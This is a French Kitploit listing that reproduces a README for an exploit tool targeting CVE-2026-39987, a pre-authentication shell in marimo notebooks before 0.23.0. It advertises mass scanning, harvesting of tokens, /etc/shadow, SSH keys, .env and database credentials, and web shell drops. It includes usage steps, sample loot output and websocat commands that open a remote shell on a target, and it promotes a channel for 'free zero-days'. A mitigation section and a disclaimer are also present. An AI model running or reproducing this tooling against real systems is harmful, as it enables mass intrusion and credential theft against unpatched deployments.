Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-39987 — marimo est un notebook Python réactif. Avant la version 0.23.0, Marimo présente une vulnérabilité d'exécution de code à distance (RCE) avant authentification. | Kitploit
Outils/GitHubGitHub/nxploited/cve-2026-39987
Escalade de PrivilègesExploitationExploitation d'Applications WebCollecte d'InformationsTests d'IntrusionRed TeamingOutil d'Accès à Distance
GitHubnxploited/cve-2026-39987

CVE-2026-39987

marimo est un notebook Python réactif. Avant la version 0.23.0, Marimo présente une vulnérabilité d'exécution de code à distance (RCE) avant authentification.

Voir le dépôt
14il y a 4 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-39987

marimo est un notebook Python réactif. Avant la version 0.23.0, Marimo présente une vulnérabilité RCE Pre-Auth.

root@kitploit:~
   ___  _        ___     __  __  __  __      ___  __  __  _______
  / (_)(_|   |_// (_)   /  )/  \/  )/       /   \/  |/  |/  \   /
 |       |   |  \__       /|    | /| __       __/\_/|\_/|\__/  / 
 |       |   |  /   -----/ |    |/ |/  \-----   \   |   |/  \ /  
  \___/   \_/   \___/   /___\__//___\__/    \___/   |   |\__//   

CVE-2026-39987

Marimo /terminal/ws — RCE Pre-Auth via WebSocket non authentifié

Scanner de masse · Énumération complète · Détection intelligente


Python CVE Severity Type Platform License


Auteur : Nxploited  ·  Telegram : @KNxploited


📢 Rejoignez le canal Telegram pour les derniers zero-days & exploits gratuits :

🔗 Nxploited ZeroDay Hub — t.me/KNxploited


📖 Présentation

CVE-2026-39987 est une vulnérabilité critique d'exécution de code à distance avant authentification (Pre-Authentication Remote Code Execution) affectant Marimo, une plateforme open-source de notebooks Python réactifs.

Le point de terminaison WebSocket /terminal/ws ne comporte aucune validation d'authentification, ce qui permet à tout attaquant distant non authentifié d'obtenir un shell PTY complet et d'exécuter des commandes système arbitraires avec les privilèges du processus en cours — souvent root dans les déploiements conteneurisés.

Contrairement à d'autres points de terminaison WebSocket comme /ws, qui invoquent correctement validate_auth() avant d'accepter les connexions, le point de terminaison /terminal/ws ne vérifie que le mode d'exécution et la compatibilité de la plateforme, en sautant entièrement l'authentification.

✅ Corrigé dans : marimo >= 0.23.0 ❌ Toutes les versions antérieures à 0.23.0 sont vulnérables


🔍 Détails de la vulnérabilité

🧩 Cause racine

root@kitploit:~
/ws          →  calls validate_auth()  ✅  Authentication enforced
/terminal/ws →  skips validate_auth()  ❌  No authentication

Le gestionnaire /terminal/ws vérifie uniquement :

  1. Si le serveur fonctionne dans le bon mode
  2. Si la plateforme prend en charge l'émulation de terminal

Il ne valide jamais les jetons de session, les cookies ou toute forme d'identité — ce qui fait de chaque instance Marimo exposée un shell direct.


✨ Fonctionnalités

  • 🔥 Scanner de masse — Analyse des milliers de cibles en concurrence avec des pools de threads configurables
  • 🧠 Détection intelligente de l'environnement — Détection automatique : Marimo · cPanel/WHM · Plesk · Apache · Nginx · Docker · Node.js · applications Python
  • 🐚 Accès shell PTY complet — Shell WebSocket non authentifié avec émulation de terminal complète
  • 📓 Énumération des notebooks — Découverte et lecture récursives de tous les notebooks Marimo .py
  • 🔑 Collecte de jetons — Extraction des jetons Marimo depuis les arguments CLI, les variables d'environnement et les fichiers journaux
  • 🗄️ Découverte de bases de données — Sondage automatique de MySQL · PostgreSQL · Redis · SQLite · DuckDB
  • 🔐 Extraction d'identifiants — Fichiers .env · wp-config.php · clés privées SSH · /etc/shadow
  • 📂 Vérification de web shell (Nx Drop) — Écrit et vérifie via HTTP un fichier de preuve de concept dans la racine web
  • 📊 Sortie structurée par cible — Chaque cible obtient son propre répertoire de sortie organisé
  • 🎨 Interface terminal riche — Interface professionnelle avec code couleur, panneaux, suivi de progression et statistiques en direct

⚙️ Prérequis

root@kitploit:~
Python 3.10 or higher

Installer les dépendances :

root@kitploit:~
pip install websockets rich requests urllib3

Ou en utilisant le fichier requirements :

root@kitploit:~
pip install -r requirements.txt

requirements.txt

root@kitploit:~
websockets
rich
requests
urllib3

🚀 Utilisation

Étape 1 — Préparez votre fichier de cibles

Créez un fichier nommé targets.txt avec une cible par ligne. L'outil accepte tous les formats :

root@kitploit:~
192.168.1.100
192.168.1.101:2718
10.10.10.50:2718
https://notebook.example.com
wss://secure.notebook.io
marimo.target.local:2718

Formats pris en charge : IP seule · IP:port · domaine · domaine:port · http:// · https:// · ws:// · wss://


Étape 2 — Lancez le scanner

root@kitploit:~
python3 CVE-2026-39987.py

Étape 3 — Configuration interactive

root@kitploit:~
  ▸ Targets file  (default: targets.txt) : targets.txt
  ▸ Threads       (default: 50)          : 100

Plage de threads : 1–300. Recommandé : 50–150 selon votre réseau.


🖥️ Aperçu de la sortie

Interface terminal

root@kitploit:~
  ╭──────────────────────────────────────────────────────────╮
  │ CVE-2026-39987  ·  Marimo WebSocket RCE                  │
  │ MASS SCANNER  ·  FULL ENUM  ·  SMART DETECT              │
  │ By: Nxploited  ·  github.com/Nxploited  ·  @KNxploited   │
  ╰──────────────────────────────────────────────────────────╯

  ══════════════ ws://192.168.1.100:2718/terminal/ws ══════════

  ╭────────────────────────────────────────╮
  │  ◈◈◈  ROOT ACCESS  ◈◈◈                │
  │  ws://192.168.1.100:2718               │
  │  uid ▸  uid=0(root)  groups=[root]     │
  ╰────────────────────────────────────────╯

  ──  ENVIRONMENT  ──────────────────────────────────────────
    ✦  Type                  MARIMO
    ◈  Docker                True
    ◈  Marimo version        0.22.1
    ◈  Notebook directory    /app/notebooks

  ──  MARIMO — NOTEBOOKS  ───────────────────────────────────
    ✦  Notebooks             7 found
       ·                     /app/notebooks/analysis.py
       ·                     /app/notebooks/data_pipeline.py
       ·                     /app/notebooks/etl_job.py

  ──  MARIMO — TOKENS  ──────────────────────────────────────
    ✦  Token CLI             secret-token-abc123xyz
    ✦  .marimo.toml          /root/.marimo.toml

  ──  /etc  SENSITIVE  ──────────────────────────────────────
    ✦  /etc/shadow           READABLE  [42 entries]
    ◈  /etc/passwd           [42 lines]
    ◈  /etc/crontab          [12 lines]

  ──  SSH KEYS  ─────────────────────────────────────────────
    ✦  /root/.ssh/id_rsa     FOUND
    ✦  /root/.ssh/id_ed25519 FOUND

  ──  DATABASES  ────────────────────────────────────────────
    ✦  MySQL                 DATABASES LISTED
    ✦  Redis                 PONG — NO AUTH
    ✦  DuckDB files          /app/notebooks/data.duckdb

  ──  SENSITIVE ENV VARS  ───────────────────────────────────
    ✦  DATABASE_URL          postgresql://admin:p4ss@db:5432/prod
    ✦  AWS_SECRET_ACCESS_KEY redacted...

  ──  NX FILE DROP  ──────────────────────────────��──────────
    ✦  Shell write           /app/notebooks/Nx.py
    ✦  HTTP access           http://192.168.1.100:2718/Nx.py

  ──  COMPLETE  ─────────────────────────────────────────────
    ◈  Saved to              nx_output/192.168.1.100_2718/

  ◦ 73/200  ROOT:5  PRIV:11  SHELL:18  FAIL:39  6.3/s

Progression en direct

root@kitploit:~
  ◦ 73/200  ROOT:5  PRIV:11  SHELL:18  FAIL:39  6.3/s

📁 Structure de sortie

root@kitploit:~
nx_output/
│
├── summary.txt                    ← Master summary of all targets
├── curls.txt                      ← websocat one-liners for all shells
├── Nx.txt                         ← HTTP-confirmed file drops
│
└── 192.168.1.100_2718/            ← Per-target directory
    ├── summary.txt                ← Target summary & connect command
    ├── identity.txt               ← id · whoami · uname · hostname · shell
    ├── users.txt                  ← /etc/passwd · shadow · sudoers · last
    ├── ssh_keys.txt               ← Discovered SSH private keys & auth keys
    ├── etc_data.txt               ← /etc/hosts · resolv.conf · crontab · env
    ├── env_sensitive.txt          ← Filtered sensitive environment variables
    ├── databases.txt              ← MySQL · Redis · PostgreSQL · config files
    ├── app_configs.txt            ← .env · wp-config.php · settings.py · etc
    ├── notebooks.txt              ← Full content of all Marimo notebooks
    ├── marimo_toml.txt            ← .marimo.toml configuration files
    ├── marimo_tokens.txt          ← All extracted Marimo auth tokens
    ├── dotenv.txt                 ← .env / .env.local / .env.production
    ├── databases_marimo.txt       ← DuckDB · SQLite · DB URLs from notebooks
    ├── webserver_configs.txt      ← Apache/Nginx VirtualHosts & configs
    ├── network.txt                ← Interfaces · routes · open ports · iptables
    ├── processes.txt              ← ps aux · crontab · cron.d · systemd units
    ├── logs.txt                   ← auth.log · syslog · access.log · error.log
    ├── nx_file.txt                ← Nx drop path · web root · HTTP URL
    └── software.txt               ← PHP · Python · Node.js versions

📊 Niveaux d'accès


🌍 Environnements pris en charge


🔌 Connexion manuelle

Une fois une cible vulnérable identifiée, connectez-vous manuellement à l'aide de websocat :

root@kitploit:~
# Install websocat
cargo install websocat
# or: https://github.com/vi/websocat/releases

# Connect to shell
websocat "ws://TARGET:2718/terminal/ws" -H "Authorization: Bearer any-value"

# Connect over TLS
websocat "wss://TARGET/terminal/ws" -H "Authorization: Bearer any-value"

La valeur de l'en-tête Authorization est sans importance — le point de terminaison accepte n'importe quel jeton, ou aucun.


🛡️ Mitigation

Si vous exécutez Marimo dans un environnement de production ou exposé :

  1. Mettez à niveau immédiatement vers marimo >= 0.23.0
  2. Placez Marimo derrière un proxy inverse avec authentification (Nginx + BasicAuth / proxy OAuth2)
  3. Liez Marimo uniquement à 127.0.0.1 — ne l'exposez jamais directement sur Internet
  4. Utilisez des règles de pare-feu pour restreindre l'accès à /terminal/ws
  5. Auditez votre déploiement pour détecter les instances exposées

⚠️ Avertissement

Cet outil est fourni strictement à des fins éducatives, de tests d'intrusion autorisés et de recherche légitime en sécurité.

Vous devez obtenir l'autorisation écrite explicite du propriétaire du système avant d'exécuter cet outil contre une cible quelconque. Toute utilisation non autorisée contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas la permission de tester est illégale et peut entraîner des poursuites civiles et/ou pénales en vertu des lois applicables en matière de cybercriminalité, y compris, sans s'y limiter, le Computer Fraud and Abuse Act (CFAA), le Computer Misuse Act, les directives européennes sur la cybercriminalité et la législation équivalente de votre juridiction.

L'auteur décline toute responsabilité en cas de dommages, de perte de données ou de conséquences juridiques découlant d'une mauvaise utilisation de cet outil.

Utilisez-le de manière responsable. Hackez éthiquement.


👤 Auteur

Télécharger l’outil
PropriétéValeur
Identifiant CVECVE-2026-39987
Logiciel affectémarimo < 0.23.0
Classe de vulnérabilitéRCE Pre-Auth via WebSocket non authentifié
Point de terminaison affecté/terminal/ws
Vecteur d'attaqueRéseau
Authentification requise❌ Aucune
Interaction utilisateur❌ Aucune
Sévérité🔴 Critique
ImpactShell PTY complet · Exécution de commandes arbitraires
Version corrigéemarimo 0.23.0
IcôneNiveauDescription
✦✦✦ 🟢ROOTuid=0 — Accès root complet
✦✦ 🟡PRIVMembre de sudo · wheel · docker · disk · adm
✦ 🔵SHELLAccès shell sans privilèges
✗ 🔴FAILConnexion refusée · délai dépassé · erreur HTTP
EnvironnementDétection automatiqueCollecte spécialisée
🟣 Marimo✅Notebooks · jetons · DuckDB · .marimo.toml · montages
🔵 cPanel / WHM✅userdomains · mot de passe MySQL · liste des utilisateurs WHM
🟠 Plesk✅psa.shadow · vhosts · identifiants admin MySQL
🌐 Apache✅VirtualHosts · sites-enabled · journaux d'accès/erreurs
🟢 Nginx✅Blocs serveur · conf.d · journaux d'accès/erreurs
🐍 Application Python✅.env · settings.py · config.py · Pipfile
🟡 Node.js✅.env · package.json · répertoire public
🐳 Docker✅Montages liés (bind mounts) · détection du stockage local du conteneur
⚙️ Générique✅Suite d'énumération complète sur environnements inconnus
PseudoNxploited
GitHubgithub.com/Nxploited
Telegram@KNxploited
CanalNxploited ZeroDay Hub


"Plus vous devenez silencieux, plus vous êtes capable d'entendre."


⭐ Si cet outil vous a été utile, laissez une étoile et rejoignez le canal pour plus de zero-days ! ⭐

🔗 t.me/KNxploited